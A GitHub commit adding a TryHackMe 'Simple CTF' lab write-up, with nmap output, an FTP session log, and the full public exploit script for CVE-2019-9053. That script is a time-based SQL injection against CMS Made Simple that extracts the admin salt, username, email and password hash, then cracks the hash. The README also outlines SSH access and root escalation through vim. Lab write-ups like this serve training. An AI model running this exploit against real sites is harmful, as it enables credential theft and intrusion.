Skip to content

Commit 171c696

Browse files
HedrobyteHedrobyte
committed
TryHackME: Add Simple CTF machine
1 parent 8430d15 commit 171c696

14 files changed

+497
-1
lines changed

‎TryHackMe/README.MD

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,4 +8,5 @@ This folder contains my notes and resolutions for the TryHackMe challenges. It i
88
| Rooms | Difficulty |
99
|-----------------------------------------|------------|
1010
|[Pickle Rick](./challenges/pickle_rick/) | Easy |
11-
|[RootMe](./challenges/rootMe/) | Easy |
11+
|[RootMe](./challenges/rootMe/) | Easy |
12+
|[Simple CTF](./challenges/simple_CTF/) | Easy |

‎TryHackMe/challenges/simple_CTF/46635.py

Lines changed: 186 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,186 @@
1+
#!/usr/bin/env python
2+
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
3+
# Date: 30-03-2019
4+
# Exploit Author: Daniele Scanu @ Certimeter Group
5+
# Vendor Homepage: https://www.cmsmadesimple.org/
6+
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
7+
# Version: <= 2.2.9
8+
# Tested on: Ubuntu 18.04 LTS
9+
# CVE : CVE-2019-9053
10+
11+
import requests
12+
from termcolor import colored
13+
import time
14+
from termcolor import cprint
15+
import optparse
16+
import hashlib
17+
18+
parser = optparse.OptionParser()
19+
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
20+
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
21+
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)
22+
23+
options, args = parser.parse_args()
24+
if not options.url:
25+
print "[+] Specify an url target"
26+
print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
27+
print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
28+
print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
29+
exit()
30+
31+
url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
32+
session = requests.Session()
33+
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
34+
flag = True
35+
password = ""
36+
temp_password = ""
37+
TIME = 1
38+
db_name = ""
39+
output = ""
40+
email = ""
41+
42+
salt = ''
43+
wordlist = ""
44+
if options.wordlist:
45+
wordlist += options.wordlist
46+
47+
def crack_password():
48+
global password
49+
global output
50+
global wordlist
51+
global salt
52+
dict = open(wordlist)
53+
for line in dict.readlines():
54+
line = line.replace("\n", "")
55+
beautify_print_try(line)
56+
if hashlib.md5(str(salt) + line).hexdigest() == password:
57+
output += "\n[+] Password cracked: " + line
58+
break
59+
dict.close()
60+
61+
def beautify_print_try(value):
62+
global output
63+
print "\033c"
64+
cprint(output,'green', attrs=['bold'])
65+
cprint('[*] Try: ' + value, 'red', attrs=['bold'])
66+
67+
def beautify_print():
68+
global output
69+
print "\033c"
70+
cprint(output,'green', attrs=['bold'])
71+
72+
def dump_salt():
73+
global flag
74+
global salt
75+
global output
76+
ord_salt = ""
77+
ord_salt_temp = ""
78+
while flag:
79+
flag = False
80+
for i in range(0, len(dictionary)):
81+
temp_salt = salt + dictionary[i]
82+
ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
83+
beautify_print_try(temp_salt)
84+
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
85+
url = url_vuln + "&m1_idlist=" + payload
86+
start_time = time.time()
87+
r = session.get(url)
88+
elapsed_time = time.time() - start_time
89+
if elapsed_time >= TIME:
90+
flag = True
91+
break
92+
if flag:
93+
salt = temp_salt
94+
ord_salt = ord_salt_temp
95+
flag = True
96+
output += '\n[+] Salt for password found: ' + salt
97+
98+
def dump_password():
99+
global flag
100+
global password
101+
global output
102+
ord_password = ""
103+
ord_password_temp = ""
104+
while flag:
105+
flag = False
106+
for i in range(0, len(dictionary)):
107+
temp_password = password + dictionary[i]
108+
ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
109+
beautify_print_try(temp_password)
110+
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
111+
payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
112+
url = url_vuln + "&m1_idlist=" + payload
113+
start_time = time.time()
114+
r = session.get(url)
115+
elapsed_time = time.time() - start_time
116+
if elapsed_time >= TIME:
117+
flag = True
118+
break
119+
if flag:
120+
password = temp_password
121+
ord_password = ord_password_temp
122+
flag = True
123+
output += '\n[+] Password found: ' + password
124+
125+
def dump_username():
126+
global flag
127+
global db_name
128+
global output
129+
ord_db_name = ""
130+
ord_db_name_temp = ""
131+
while flag:
132+
flag = False
133+
for i in range(0, len(dictionary)):
134+
temp_db_name = db_name + dictionary[i]
135+
ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
136+
beautify_print_try(temp_db_name)
137+
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
138+
url = url_vuln + "&m1_idlist=" + payload
139+
start_time = time.time()
140+
r = session.get(url)
141+
elapsed_time = time.time() - start_time
142+
if elapsed_time >= TIME:
143+
flag = True
144+
break
145+
if flag:
146+
db_name = temp_db_name
147+
ord_db_name = ord_db_name_temp
148+
output += '\n[+] Username found: ' + db_name
149+
flag = True
150+
151+
def dump_email():
152+
global flag
153+
global email
154+
global output
155+
ord_email = ""
156+
ord_email_temp = ""
157+
while flag:
158+
flag = False
159+
for i in range(0, len(dictionary)):
160+
temp_email = email + dictionary[i]
161+
ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
162+
beautify_print_try(temp_email)
163+
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
164+
url = url_vuln + "&m1_idlist=" + payload
165+
start_time = time.time()
166+
r = session.get(url)
167+
elapsed_time = time.time() - start_time
168+
if elapsed_time >= TIME:
169+
flag = True
170+
break
171+
if flag:
172+
email = temp_email
173+
ord_email = ord_email_temp
174+
output += '\n[+] Email found: ' + email
175+
flag = True
176+
177+
dump_salt()
178+
dump_username()
179+
dump_email()
180+
dump_password()
181+
182+
if options.cracking:
183+
print colored("[*] Now try to crack password")
184+
crack_password()
185+
186+
beautify_print()

‎TryHackMe/challenges/simple_CTF/FTP_cli

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
└─$ ftp 10.10.6.153
2+
Connected to 10.10.6.153.
3+
220 (vsFTPd 3.0.3)
4+
Name (10.10.6.153:kali): anonymous
5+
230 Login successful.
6+
Remote system type is UNIX.
7+
Using binary mode to transfer files.
8+
ftp> ls -al
9+
229 Entering Extended Passive Mode (|||43952|)
10+
ftp: Can't connect to `10.10.6.153:43952': Connection timed out
11+
200 EPRT command successful. Consider using EPSV.
12+
150 Here comes the directory listing.
13+
drwxr-xr-x 3 ftp ftp 4096 Aug 17 2019 .
14+
drwxr-xr-x 3 ftp ftp 4096 Aug 17 2019 ..
15+
drwxr-xr-x 2 ftp ftp 4096 Aug 17 2019 pub
16+
226 Directory send OK.
17+
ftp> cd pub
18+
250 Directory successfully changed.
19+
ftp> ls -al
20+
200 EPRT command successful. Consider using EPSV.
21+
150 Here comes the directory listing.
22+
drwxr-xr-x 2 ftp ftp 4096 Aug 17 2019 .
23+
drwxr-xr-x 3 ftp ftp 4096 Aug 17 2019 ..
24+
-rw-r--r-- 1 ftp ftp 166 Aug 17 2019 ForMitch.txt
25+
226 Directory send OK.
26+
ftp> get ForMitch.txt
27+
local: ForMitch.txt remote: ForMitch.txt
28+
200 EPRT command successful. Consider using EPSV.
29+
150 Opening BINARY mode data connection for ForMitch.txt (166 bytes).
30+
100% |********************| 166 1.18 MiB/s 00:00 ETA
31+
226 Transfer complete.
32+
166 bytes received in 00:00 (0.39 KiB/s)
33+
ftp> exit
34+
221 Goodbye.
35+
└─$ cat ForMitch.txt
36+
Dammit man... you'te the worst dev i've seen. You set the same pass for the system user, and the password is so weak... i cracked it in seconds. Gosh... what a mess!

‎TryHackMe/challenges/simple_CTF/ForMitch.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
Dammit man... you'te the worst dev i've seen. You set the same pass for the system user, and the password is so weak... i cracked it in seconds. Gosh... what a mess!

‎TryHackMe/challenges/simple_CTF/README.md

Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
## General Information
2+
- Room: Simple CTF
3+
- Difficulty: Easy
4+
- Date: 16/03/2023
5+
- Description: Beginner level ctf.
6+
7+
8+
## Methodology
9+
- Reconnaissance:
10+
- Port scanning to identify open ports, services, and versions.
11+
- Directory enumeration to discover potential entry points.
12+
- Exploration:
13+
- Exploitation of identified vulnerabilities to gain unauthorized access.
14+
- Privilege escalation to obtain higher levels of access privileges.
15+
- Results Analysis:
16+
- Documentation of findings, including vulnerability identification and remediation recommendations.
17+
18+
19+
## Results
20+
Three open ports were discovered on the target system that were running FTP, HTTP, and SSH services. GoBuster was utilized to scan the target and revealed the existence of a directory named /simple. Further investigation of this directory exposed crucial information about the target system, including its underlying CMS Made Simple 2.2 version.
21+
22+
An anonymous FTP connection was established to the system, and by exploiting a security flaw, a file containing the message "Damn man... you're the worst dev I've seen. You set the same password for the system user, and the password is so weak... I cracked it in seconds. Gosh... what a mess!" was discovered.
23+
24+
Using the SearchSploit tool, a vulnerability search was initiated for the specific CMS Made Simple 2.2 version. A relevant exploit was located and subsequently downloaded to the local system using the command "searchsploit -m php/webapps/46635.py".
25+
26+
The downloaded 46635.py exploit was then utilized to retrieve the credentials by passing the target site address as an argument. The obtained credentials were then used to establish an SSH connection to the target system. Once access to the system was obtained, a privilege escalation vulnerability was exploited, leading to the discovery of the root.txt flag.
27+
28+
### Reconnaissance
29+
- IP: 10.10.6.153
30+
- Port Scan results:
31+
32+
| Port | State | Service | Version |
33+
|----------|-------|---------|-----------------|
34+
| 22/tcp | open | ftp | vsftpd 3.0.3 |
35+
| 80/tcp | open | http | Apache httpd 2.4.18 ((Ubuntu)) |
36+
| 2222/tcp | open | ssh | OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) |
37+
38+
- ftp-anon: Anonymous FTP login allowed (FTP code 230)
39+
40+
### Exploitation
41+
42+
#### nmap scan
43+
~~~nmap
44+
nmap -sVC -T4 --open -oA ./nmap/service_scan 10.10.6.153
45+
~~~
46+
47+
#### gobuster
48+
~~~ gobuster
49+
gobuster dir -u 10.10.6.153 - 40 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee scan_gobuster_dir
50+
~~~
51+
52+
#### FTP
53+
~~~ftp
54+
ftp 10.10.6.153
55+
~~~
56+
57+
#### searchsploit
58+
~~~searchsploit
59+
└─$ searchsploit cms made simple 2.2
60+
~~~
61+
62+
#### SSH
63+
~~~ssh
64+
ssh [email protected] -p 2222
65+
~~~
66+
67+
68+
## Exploited Vulnerabilities
69+
- FTP Anonymous Login and Weak Password: The FTP service allowed anonymous login, and it was discovered that the system user had set the same weak password for both the system and FTP accounts. This security flaw allowed unauthorized access to the system.
70+
- CMS Made Simple 2.2 SQL Injection: A vulnerability in the CMS Made Simple version 2.2 was exploited using an SQL injection attack. This vulnerability provided an entry point to access sensitive information and execute unauthorized actions on the target system.
71+
- Privilege Escalation via Vim: A privilege escalation vulnerability was identified, allowing the mitch user to run the vim command with root privileges. By exploiting this vulnerability, the root account was accessed, providing full control over the system.
72+
73+
74+
## Recommendations
75+
- Keep the system and all installed software up to date with the latest security patches to address known vulnerabilities.
76+
- Enforce strong and unique passwords for all user accounts, avoiding the use of weak or default credentials. Implement two-factor authentication (2FA) where possible.
77+
- Restrict or disable anonymous FTP access and enforce secure FTP configurations, such as using SFTP (SSH File Transfer Protocol) instead of traditional FTP.
78+
- Ensure secure coding practices are followed when developing web applications to prevent common vulnerabilities like SQL injection and other code injection attacks.
79+
- Implement the principle of least privilege, granting users only the permissions necessary for their specific roles and responsibilities.

‎TryHackMe/challenges/simple_CTF/nmap/.gnmap

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
# Nmap 7.93 scan initiated Thu Mar 16 12:39:12 2023 as: nmap -sVC -T4 --open -oA ./nmap/ service_scan 10.10.6.153

‎TryHackMe/challenges/simple_CTF/nmap/.nmap

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
# Nmap 7.93 scan initiated Thu Mar 16 12:39:12 2023 as: nmap -sVC -T4 --open -oA ./nmap/ service_scan 10.10.6.153
2+
Failed to resolve "service_scan".

‎TryHackMe/challenges/simple_CTF/nmap/.xml

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<!DOCTYPE nmaprun>
3+
<?xml-stylesheet href="file:///usr/bin/../share/nmap/nmap.xsl" type="text/xsl"?>
4+
<!-- Nmap 7.93 scan initiated Thu Mar 16 12:39:12 2023 as: nmap -sVC -T4 -&#45;open -oA ./nmap/ service_scan 10.10.6.153 -->
5+
<nmaprun scanner="nmap" args="nmap -sVC -T4 -&#45;open -oA ./nmap/ service_scan 10.10.6.153" start="1678984752" startstr="Thu Mar 16 12:39:12 2023" version="7.93" xmloutputversion="1.05">
6+
<scaninfo type="connect" protocol="tcp" numservices="1000" services="1,3-4,6-7,9,13,17,19-26,30,32-33,37,42-43,49,53,70,79-85,88-90,99-100,106,109-111,113,119,125,135,139,143-144,146,161,163,179,199,211-212,222,254-256,259,264,280,301,306,311,340,366,389,406-407,416-417,425,427,443-445,458,464-465,481,497,500,512-515,524,541,543-545,548,554-555,563,587,593,616-617,625,631,636,646,648,666-668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800-801,808,843,873,880,888,898,900-903,911-912,981,987,990,992-993,995,999-1002,1007,1009-1011,1021-1100,1102,1104-1108,1110-1114,1117,1119,1121-1124,1126,1130-1132,1137-1138,1141,1145,1147-1149,1151-1152,1154,1163-1166,1169,1174-1175,1183,1185-1187,1192,1198-1199,1201,1213,1216-1218,1233-1234,1236,1244,1247-1248,1259,1271-1272,1277,1287,1296,1300-1301,1309-1311,1322,1328,1334,1352,1417,1433-1434,1443,1455,1461,1494,1500-1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687-1688,1700,1717-1721,1723,1755,1761,1782-1783,1801,1805,1812,1839-1840,1862-1864,1875,1900,1914,1935,1947,1971-1972,1974,1984,1998-2010,2013,2020-2022,2030,2033-2035,2038,2040-2043,2045-2049,2065,2068,2099-2100,2103,2105-2107,2111,2119,2121,2126,2135,2144,2160-2161,2170,2179,2190-2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381-2383,2393-2394,2399,2401,2492,2500,2522,2525,2557,2601-2602,2604-2605,2607-2608,2638,2701-2702,2710,2717-2718,2725,2800,2809,2811,2869,2875,2909-2910,2920,2967-2968,2998,3000-3001,3003,3005-3007,3011,3013,3017,3030-3031,3052,3071,3077,3128,3168,3211,3221,3260-3261,3268-3269,3283,3300-3301,3306,3322-3325,3333,3351,3367,3369-3372,3389-3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689-3690,3703,3737,3766,3784,3800-3801,3809,3814,3826-3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000-4006,4045,4111,4125-4126,4129,4224,4242,4279,4321,4343,4443-4446,4449,4550,4567,4662,4848,4899-4900,4998,5000-5004,5009,5030,5033,5050-5051,5054,5060-5061,5080,5087,5100-5102,5120,5190,5200,5214,5221-5222,5225-5226,5269,5280,5298,5357,5405,5414,5431-5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678-5679,5718,5730,5800-5802,5810-5811,5815,5822,5825,5850,5859,5862,5877,5900-5904,5906-5907,5910-5911,5915,5922,5925,5950,5952,5959-5963,5987-5989,5998-6007,6009,6025,6059,6100-6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565-6567,6580,6646,6666-6669,6689,6692,6699,6779,6788-6789,6792,6839,6881,6901,6969,7000-7002,7004,7007,7019,7025,7070,7100,7103,7106,7200-7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777-7778,7800,7911,7920-7921,7937-7938,7999-8002,8007-8011,8021-8022,8031,8042,8045,8080-8090,8093,8099-8100,8180-8181,8192-8194,8200,8222,8254,8290-8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651-8652,8654,8701,8800,8873,8888,8899,8994,9000-9003,9009-9011,9040,9050,9071,9080-9081,9090-9091,9099-9103,9110-9111,9200,9207,9220,9290,9415,9418,9485,9500,9502-9503,9535,9575,9593-9595,9618,9666,9876-9878,9898,9900,9917,9929,9943-9944,9968,9998-10004,10009-10010,10012,10024-10025,10082,10180,10215,10243,10566,10616-10617,10621,10626,10628-10629,10778,11110-11111,11967,12000,12174,12265,12345,13456,13722,13782-13783,14000,14238,14441-14442,15000,15002-15004,15660,15742,16000-16001,16012,16016,16018,16080,16113,16992-16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221-20222,20828,21571,22939,23502,24444,24800,25734-25735,26214,27000,27352-27353,27355-27356,27715,28201,30000,30718,30951,31038,31337,32768-32785,33354,33899,34571-34573,35500,38292,40193,40911,41511,42510,44176,44442-44443,44501,45100,48080,49152-49161,49163,49165,49167,49175-49176,49400,49999-50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055-55056,55555,55600,56737-56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389"/>
7+
<verbose level="0"/>
8+
<debugging level="0"/>
9+
<hosthint><status state="up" reason="unknown-response" reason_ttl="0"/>
10+
<address addr="10.10.6.153" addrtype="ipv4"/>
11+
<hostnames>
12+
</hostnames>
13+
</hosthint>

‎TryHackMe/challenges/simple_CTF/nmap/service_scan.gnmap

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
# Nmap 7.93 scan initiated Thu Mar 16 12:40:01 2023 as: nmap -sVC -T4 --open -oA ./nmap/service_scan 10.10.6.153
2+
Host: 10.10.6.153 (10.10.6.153) Status: Up
3+
Host: 10.10.6.153 (10.10.6.153) Ports: 21/open/tcp//ftp//vsftpd 3.0.3/, 80/open/tcp//http//Apache httpd 2.4.18 ((Ubuntu))/, 2222/open/tcp//ssh//OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)/ Ignored State: filtered (997)
4+
# Nmap done at Thu Mar 16 12:40:59 2023 -- 1 IP address (1 host up) scanned in 58.51 seconds

‎TryHackMe/challenges/simple_CTF/nmap/service_scan.nmap

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
# Nmap 7.93 scan initiated Thu Mar 16 12:40:01 2023 as: nmap -sVC -T4 --open -oA ./nmap/service_scan 10.10.6.153
2+
Nmap scan report for 10.10.6.153 (10.10.6.153)
3+
Host is up (0.27s latency).
4+
Not shown: 997 filtered tcp ports (no-response)
5+
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
6+
PORT STATE SERVICE VERSION
7+
21/tcp open ftp vsftpd 3.0.3
8+
| ftp-syst:
9+
| STAT:
10+
| FTP server status:
11+
| Connected to ::ffff:10.8.78.245
12+
| Logged in as ftp
13+
| TYPE: ASCII
14+
| No session bandwidth limit
15+
| Session timeout in seconds is 300
16+
| Control connection is plain text
17+
| Data connections will be plain text
18+
| At session startup, client count was 2
19+
| vsFTPd 3.0.3 - secure, fast, stable
20+
|_End of status
21+
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
22+
|_Can't get directory listing: TIMEOUT
23+
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
24+
|_http-title: Apache2 Ubuntu Default Page: It works
25+
| http-robots.txt: 2 disallowed entries
26+
|_/ /openemr-5_0_1_3
27+
|_http-server-header: Apache/2.4.18 (Ubuntu)
28+
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
29+
| ssh-hostkey:
30+
| 2048 294269149ecad917988c27723acda923 (RSA)
31+
| 256 9bd165075108006198de95ed3ae3811c (ECDSA)
32+
|_ 256 12651b61cf4de575fef4e8d46e102af6 (ED25519)
33+
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
34+
35+
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
36+
# Nmap done at Thu Mar 16 12:40:59 2023 -- 1 IP address (1 host up) scanned in 58.51 seconds

0 commit comments

Comments
 (0)